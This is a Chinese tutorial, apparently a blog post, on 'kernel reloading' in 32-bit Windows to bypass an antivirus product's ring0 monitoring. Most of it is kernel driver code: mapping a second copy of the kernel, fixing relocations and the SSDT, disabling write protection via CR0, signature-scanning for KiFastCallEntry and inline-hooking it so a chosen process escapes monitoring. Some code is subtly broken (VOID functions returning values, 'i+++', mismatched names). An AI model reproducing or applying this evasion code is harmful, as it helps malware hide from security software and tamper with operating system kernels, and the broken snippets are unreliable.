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内核重载听起来是一个很高大上的概念,但其实跟PE的知识息息相关,那么为什么会有内核重载的出现呢?
我们知道从ring3进入ring0需要通过int2e/sysenter(syscall)
进入ring0,而进入ring0之后又会通过KiFastCallEntry/KiSystemService
去找SSDT表对应响应的内核函数,那么杀软会在这两个地方进行重点盯防。
首先是对int2e/sysenter
的盯防,我们知道大多数函数都是通过一系列的调用链,最终找到ntdll.dll
里面的函数,找到调用号后通过int2e/sysenter
的方式进入ring0,杀软首先会hook ntdll.dll
来实现监测的效果,这里的话之前已经介绍过了,我们可以通过自己逆向的方式通过汇编定位到int2e/sysenter
的地址自己重写ring3部分的api来达到绕过杀软的效果
那么再看ring0,我们知道ring3函数进入ring0之后会去找SSDT表,那么这里就有两种监测的方式,一种的话直接在KiSystemService/KiFastCallEntry
挂个钩子,因为无论是什么函数,KiSystemService/KiFastCallEntry
是必经之路,还有一种的话就是通过hook SSDT表里面的函数,但是那样的话会很麻烦,所以杀软一般都是通过前者来实现ring0的监控
我们这里以某数字杀软为例,通过汇编代码的对比,发现某数字杀软在804de978
处更改了一个jmp
指令,我们可以看一下前后的对比
hook前:
sub esp,ecx
shr ecx,2
hook后:
jmp 867bf958
我们知道要使用Inline hook必须要有5个字节的空间,但是KiFastCallEntry
这个函数会有很多寄存器的操作,我们如果随便挑选5个字节去操作的话很可能会蓝屏,我们可以看一下某数字杀软挑选的hook点。在这个地方不仅能得到ssdt的地址,还能得到ssdt地址总表,更能得到ssdt索引号,也就是在这个地方不仅不用我们进行寄存器的操作避免蓝屏,还能够直接拿到ssdt表的信息,可谓是风水宝地
那么我们知道了杀软在ring0的监测原理,我们该如何进行绕过呢?
这里就可以使用到内核重载,内核重载顾名思义,就是复制一份内核的代码,当我们复制一份内核的代码之后,让程序走我们自己复制的这一份内核代码,杀软监控只能监控之前的那份内核代码,从而绕过ring0的监控
复制内核也是有讲究的,我们知道内核文件本质上也遵循PE结构,那么PE文件的文件偏移和内存偏移也是我们需要考量的一个点,不能说我们直接将内核文件copy一份就能够跑起来,这里就需要进行PE的拉伸。那么既然有PE的拉伸,就要涉及到重定位表,我们要想定位到函数,这里肯定就需要进行重定位表的修复
在PE拉伸完成和修复重定位表过后,我们获得了一份新的内核,但是这里SSDT因为是直接拿过来的,地址肯定会发生变化,所以这里就需要进行SSDT表的修复
在上面的一系列操作完成之后,我们就可以进行hook操作,这里我们上面已经分析过KiFastCallEntry
的hook方式,我们在同样的位置设置一个hook即可达到内核重载的效果
这里我把PE拉伸跟重定位表的修复放到一个函数里面,首先我们要进行打开文件的操作,那么这里就要实现几个关于文件的函数操作
主要用到ZwCreateFile
、ZwReadFile
、ExAllocatePool
、ExFreePool
这几个函数
// 打开文件
VOID OpenFile(PHANDLE phFile, PUNICODE_STRING DllName)
{
HANDLE hFile = NULL;
NTSTATUS status = STATUS_SUCCESS;
IO_STATUS_BLOCK IoStatus;
OBJECT_ATTRIBUTES FileAttrObject; // 创建文件属性对象 // 初始化 OBJECT_ATTRIBUTES 结构体
InitializeObjectAttributes(&FileAttrObject, DllName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
status = ZwCreateFile(&hFile, GENERIC_ALL, &FileAttrObject, &IoStatus, NULL,FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_DELETE | FILE_SHARE_WRITE, FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
if (!NT_SUCCESS(status))
{
DbgPrint("文件创建不成功\n");
return FALSE;
}
if (phFile)
{
*phFile = hFile;
}
return TRUE;
}
// 获取指定文件大小
ULONG GetFileSize(HANDLE hFile)
{
IO_STATUS_BLOCK IoStatus;
NTSTATUS status = STATUS_SUCCESS;
FILE_STANDARD_INFORMATION Fileinfo;
// 获取指定文件大小
status = ZwQueryInformationFile(hFile, &IoStatus, &Fileinfo, sizeof(Fileinfo), FileStandardInformation);
if (!NT_SUCCESS(status))
{
DbgPrint("文件信息查询失败\n");
return FALSE;
}
return Fileinfo.EndOfFile.LowPart;
}
// 读取文件到内存
VOID ReadFile(HANDLE hFile, CHAR* Buffer, ULONG readSize)
{
IO_STATUS_BLOCK IoStatus;
NTSTATUS status = STATUS_SUCCESS;
// 读取指定文件到内存中
status = ZwReadFile(hFile, NULL, NULL, NULL, &IoStatus, Buffer, readSize, NULL, NULL);
if (!NT_SUCCESS(status))
{
DbgPrint("文件读取失败\n");
return FALSE;
}
}
那么我们首先读取文件到内存
OpenFile(&hFile, DllName);
FileSize = GetFileSize(hFile);
szBuffer = (PUCHAR)ExAllocatePool(PagedPool, FileSize);
ReadFile(hFile, szBuffer, FileSize);
然后进行拉伸PE的操作
首先判断是否为PE文件,即4D5A
if (*(PSHORT)szBuffer == 0x5A4D)
然后定位到NT头,偏移为0x3c。判断一下是否为5045,即PE标志
PUCHAR NTHeader = *(PULONG)(szBuffer + 0x3C) + szBuffer;
if (*(PULONG)NTHeader == 0x4550)
然后获取一下可选PE头里面的SizeOfImage
和SizeOfHeaders
,这里偏移为SizeOfImage
的偏移为 0x18+0x38 = 0x50,同理SizeOfHeaders
的偏移为0x54
// 获取SizeOfImage
ULONG SizeOfImage = *(PULONG)(NTHeader + 0x50);// 获取SizeOfHeaders
ULONG SizeOfHeaders = *(PULONG)(NTHeader + 0x54);
然后使用ExAllocatePool
申请一块空间并用MmIsAddressValid
判断是否可用,避免蓝屏
PUCHAR szBufferSize = ExAllocatePool(NonPagedPool, SizeOfImage);if (!MmIsAddressValid(szBufferSize)) // 检验是否该内存是否有权限操作
{
DbgPrint("Memory error\n");
return NULL;
}
那么我们将PE头拷贝到我们申请的内存空间里面并定义一系列指针指向头
// 拷贝PE头
RtlCopyMemory(szBufferSize, szBuffer, PEHeaderSize); // 获取NT头
PIMAGE_NT_HEADERS NtHeader = (PIMAGE_NT_HEADERS)(((PIMAGE_DOS_HEADER)szBufferSize)->e_lfanew + szBufferSize);
// 获取标准PE头
PIMAGE_FILE_HEADER FileHeader = &NtHeader->FileHeader;
// 获取可选PE头
PIMAGE_OPTIONAL_HEADER OptionalHeader = &NtHeader->OptionalHeader;
// 获取可选PE头大小
ULONG SizeOfOptional = FileHeader->SizeOfOptionalHeader;
// 获取节的数量
SHORT SectionNumber = FileHeader->NumberOfSections;
// 获取节表位置
PUCHAR SectionBaseAddr = (PUCHAR)((PUCHAR)NtHeader + 0x4 + 0x14 + SizeOfOptional);
PUCHAR pSectionBaseAddr = SectionBaseAddr;
然后进行节表的拷贝,因为我们已经获取到了节的数量,所以可以直接使用遍历的方式拷贝,这里我们定义三个变量获取节中的VirtualAddress
、SizeOfRawData
、PointerToRawData
属性,分别在0xc、0x10、0x14的位置,
// 拷贝节
CHAR Name[0x9] = { 0 }; for (int i = 0; i < SectionNumber; i++)
{
RtlCopyMemory(Name, pSectionBaseAddr, 0x8);
DbgPrint(("Name: %s\n", Name));
ULONG PointerToRawData = *(PULONG)(pSectionBaseAddr + 0x14);
ULONG SizeOfRawData = *(PULONG)(pSectionBaseAddr + 0x10);
ULONG VirtualAddress = *(PULONG)(pSectionBaseAddr + 0xC);
RtlCopyMemory(szBufferSize + VirtualAddress, szBuffer + PointerToRawData, SizeOfRawData);
pSectionBaseAddr += 0x28; // 下一个节
}
然后我们再对重定位表进行修复,首先看下重定位表的结构,位于数据目录项的第6个
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
跟导出表相同,VirtualAddress存放的是指向真正重定位表地址的rva,而Size重定位表的大小,通过RVA->FOA在FileBuffer定位后得到真正重定位表的结构如下
typedef struct _IMAGE_BASE_RELOCATION {
DWORD VirtualAddress;
DWORD SizeOfBlock;
} IMAGE_BASE_RELOCATION;
typedef IMAGE_BASE_RELOCATION ,* PIMAGE_BASE_RELOCATION;
这里的VirtualAddress还是RVA,SizeOfBlock则是重定位表的核心结构,存储的值以字节为单位,表示的是重定位表的大小,那么如果我们要知道重定位表结构的数量该怎么办呢?
这里规定在最后一个结构的VirtualAddress和SizeOfBlock的值都为0,这里就可以进行判断来获取重定位表有多少个结构
我们来看一看直观的重定位表图,假设我们这里重定位结构的数量为3,那么在最后8字节即VirtualAddress和SizeOfBlock的值都为0,可以说重定位表就是很多个块结构所构成的。
在每一块结构的VirtualAddress和SizeOfBlock里面,都有很多宽度为2字节的十六进制数据,这里我们称他们为具体项。在内存中页大小的值为1000H,即2的12次方,也就是通过这个1000H就能够表示出一个页里面所有的偏移地址。而具体项的宽度为16位,页大小的值为低12位,那么高4位是用来表示什么呢?
这里高4位只可能有两种情况,0011或0000,对应的十进制就是3或0。
当高4位的值为0011的时候,我们需要修复的数据地址就是VirtualAddress + 低12位的值。例如这里我的VirtualAddress是0x12345678,具体项的数值为001100000001,那么这个值就是有意义的,需要修改的RVA = 0x12345678+0x00000001 = 0x12345679。
当高4位的值为0000的时候,这里就不需要进行重定位的修改,这里的具体项只是用于数据对齐的数据。
也就是说,我们如果要进行重定位表的修改,就只需要判断具体项的高4位是否为0011,若是则进行重定位表的修复即可
实现代码如下
KernelBaseRelocation =
(PIMAGE_BASE_RELOCATION)(NewKernelImageBase + KernelNtHeaders->OptionalHeader.DataDirectory[5].VirtualAddress); while (KernelBaseRelocation->SizeOfBlock != 0 && KernelBaseRelocation->VirtualAddress != 0)
{
// 要修改的重定位表的数量
NumberOfModify = (KernelBaseRelocation->SizeOfBlock - 8) / 2;
// 得到索引Base的偏移
BaseAddr = (PSHORT)((ULONG)KernelBaseRelocation + 8);
while (NumberOfModify--)
{
//得到Base
Base = *BaseAddr;
// 判断高4位是否为3,若为3则修改
if (*BaseAddr>>12 == 3)
{
// 清除属性位
Base = Base & 0x0FFF;
// 得到要修改全局变量的索引
PULONG AddOfModify = (PULONG)(NewKernelImageBase + KernelBaseRelocation->VirtualAddress + Base);
*AddOfModify = *AddOfModify - KernelNtHeaders->OptionalHeader.ImageBase + (ULONG)OldKernelImageBase;
}
// 得到下一个BaseAddr
BaseAddr++;
}
// 下一个重定位表
KernelBaseRelocation = (PIMAGE_BASE_RELOCATION)((ULONG)KernelBaseRelocation + KernelBaseRelocation->SizeOfBlock);
}
因为SSDT结构有多层,所以要分别进行运算。首先确定新SSDT在哪个位置,用导出KeServiceDescriptorTable
导出的老内核的SSDT结构,然后用原来的SSDT地址+相对加载地址即可得到新的SSDT地址。
然后再修正SSDT函数中的地址。方法是在原来的函数地址上+ 相对加载地址,即相对加载地址 = 新内核加载地址 - 老内核加载地址
PSystemServiceTable KeServiceTable = KeServiceDescriptorTable; // SSDT
PSystemServiceTable KeServiceTableShadow = (PSystemServiceTable)((ULONG)KeServiceTable - 0x40); // SSDTShadowLONG Offset = (LONG)NewKernelBaseAddr - (LONG)KernelBaseAddr; // 新SSDT与旧SSDT的相对偏移
PSystemServiceTable NewKeServiceTable = (PSystemServiceTable)((ULONG)KeServiceTable + Offset); // 新SSDT地址
// 修复 FunctionsAddrTable 、 FunctionsArgsAddrTable 、 FunctionsLimit
NewKeServiceTable->FunctionsAddrTable = (PULONG)((ULONG)KeServiceTable->FunctionsAddrTable + Offset); // 函数地址表
NewKeServiceTable->FunctionsArgsAddrTable = (PUCHAR)(KeServiceTable->FunctionsArgsAddrTable + Offset); // 函数参数表
NewKeServiceTable->FunctionsLimit = KeServiceTable->FunctionsLimit; // 服务个数
然后依次遍历修改
for (ULONG i = 0; i < NewKeServiceTable->FunctionsLimit; i+++)
{//新的函数地址再加上相对加载地址,得到现在的ssdt函数地址
NewKeServiceTable->FunctionsAddrTable[i] += Offset;
}
我们在之前已经分析过了hook的地点,那么这里我们直接使用inline hook的方式即可,但是这里只适用于单核环境下,如果是多核情况下发现线程切换的情况下需要使用其他方法来进行hook
这里我们首先写一个判断,如果是我们想要获得的程序进程就走我们自己重载的内核
LONG FilterFunc(ULONG ServiceTableBase,ULONG FuncIndex,ULONG OrigFuncAddress)
{
if (ServiceTableBase==(ULONG)KeServiceDescriptorTable.ServiceTableBase)
{//比较当前调用的进程是不是ce
if (!strcmp((char*)PsGetCurrentProcess()+0x174,"notepad.exe"))
{
return pNewSSDT->ServiceTableBase[FuncIndex];
}
}
return OrigFuncAddress;
}
然后写一个asm使用汇编语句进行调用FilterFunc
VOID __declspec(naked) MyFunction()
{
__asm
{
pushad
pushfd
} // 测试是否hook成功
__asm
{
push ebx
push eax
push edi
call FilterFunc
}
// 修改ebx
__asm
{
mov dword ptr ss : [esp + 0x14] , eax
}
__asm
{
popfd
popad
}
// 执行原代码
__asm
{
sub esp, ecx
shr ecx, 2
}
__asm
{
jmp RetAddr
}
}
然后进行Inline hook,这里有一个注意的点就是页在默认情况下是只读的,这里就需要修改cr0寄存器的值来进行读写
// 关闭页只读保护
void _declspec(naked) ShutPageProtect()
{
__asm
{
push eax;
mov eax, cr0;
and eax, ~0x10000;
mov cr0, eax;
pop eax;
ret;
}
}// 开启页只读保护
void _declspec(naked) OpenPageProtect()
{
__asm
{
push eax;
mov eax, cr0;
or eax, 0x10000;
mov cr0, eax;
pop eax;
ret;
}
}
这里首先定位要hook的地址,利用特征码搜索的方式,我们首先看下要hook的两行的硬编码为2be1c1e902
,放到一个数组里面
UCHAR shell1[] = { 0x2B, 0xE1, 0xC1, 0xE9, 0x02 };
然后为了避免重复的硬编码,这里再判断一下80542602
这个地方的硬编码是否匹配,若匹配则证明定位准确,同样放在数组里面
UCHAR shell2[] = { 0x8B, 0x1C, 0x87 };
这里写一个比较字符的函数
ULONG MyCompareString(PUCHAR string1, PUCHAR string2, ULONG number)
{
// 计数
ULONG i = 0; while (number--)
{
if (*(string1 + i) == *(string2 + i))
{
i++;
}
else
{
return FALSE;
}
}
return TRUE;
}
然后进行特征码的遍历
OldKernelImageBase2 = (PUCHAR)OldKernelImageBase;
OldKernelSizeOfImage2 = OldKernelSizeOfImage;
while (OldKernelSizeOfImage2--)
{
if (FALSE == MyCompareString(shell1, OldKernelImageBase2, 5))
{
OldKernelImageBase2++;
}
else
{
OldKernelImageBase2 = OldKernelImageBase2 - 3;
if (FALSE == MyCompareString(shell2, OldKernelImageBase2, 3))
{
OldKernelImageBase2 = OldKernelImageBase2 + 4;
continue;
}
else
{
HookAddr = (ULONG)OldKernelImageBase2 + 3;
DbgPrint("hook_address:%x\n", HookAddr);
break;
}
}
}
然后进行hook FastCallEntry
的操作
void HookKiFastCallEntry()
{
UCHAR jmp_code[5];
jmp_code[0]=0xe9;
*(ULONG *)&jmp_code[1]=(ULONG)MyKiFastCallEntry-5-hookaddr;
RetAd = hookaddr + 5;
ShutPageProtect();
//inline hook
RtlCopyMemory((PVOID)addr_hookaddr,jmp_code,5);
OpenPageProtect();
}
在驱动卸载的地方,我们把原来的硬编码写回,这里为了防止多核状态下的线程切换,直接使用cmpxchg8b
指令写回
VOID __declspec(naked) _fastcall HookFunction(ULONG destination, ULONG exchange, ULONG compare)
{
__asm
{
push ebx
push ebp
mov ebp, ecx // destination = ebp
mov ebx, [edx] // exchange低4字节
mov ecx, [edx + 4] // exchange高4字节
mov edx, [esp + 8 + 4] // compare给edx
mov eax, [edx]
mov edx, [edx + 4]
lock cmpxchg8b qword ptr[ebp]
pop ebp
pop ebx
retn 4
}
}
这里首先看一下没有内核重载之前KiFastCallEntry
的代码
在80542605
的地方汇编语句为sub esp,ecx
然后我们加载驱动,看到hook的地址正是80542605
这里我们再定位到80542605
的位置发现已经是我们自己写的函数
这里跳转过去看看,和我们自己写的MyFunction
传入的汇编代码是相同的
我们再去通过KiFastCallEntry
定位一下hook点,发现也已经被修改
这里为了方便查看效果,我用ssdt hook了NtOpenProcess
函数,使用ollydbg附加进程可以发现没有notepad.exe
这个进程,这是因为OD走的是原内核,所以在进程列表里面是没有notepad.exe
这个进程
然后这里卸载驱动
再去定位到80542605
地址处,已经恢复成原汇编指令
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